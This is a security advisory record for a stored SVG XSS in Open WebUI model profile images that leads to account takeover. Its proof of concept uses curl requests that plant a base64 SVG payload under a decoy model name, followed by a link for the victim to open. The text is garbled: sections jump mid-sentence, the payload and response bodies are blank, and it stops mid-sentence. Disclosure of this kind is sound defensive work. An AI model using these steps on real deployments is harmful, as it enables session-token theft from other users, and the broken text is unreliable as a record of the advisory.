id: PYSEC-2026-2757 published: "2026-07-13T15:46:19.443986Z" modified: "2026-07-13T16:05:14.807834Z" aliases: - CVE-2026-54013 - GHSA-v2qm-5wxj-qhj7 summary: "Open WebUI: Stored XSS to Account Takeover via Model Profile Images " details: "# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI <= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q** SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc** SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py` a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\n' | base64 -w0)\n\ncurl -s -X POST 'https://TARGET/api/v1/models/create' \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n```\n\n**Step 2 Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model's avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3 Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\n\nEOF\nSVG_B64=$(printf '%s' \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model's profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof — SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\n \n\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the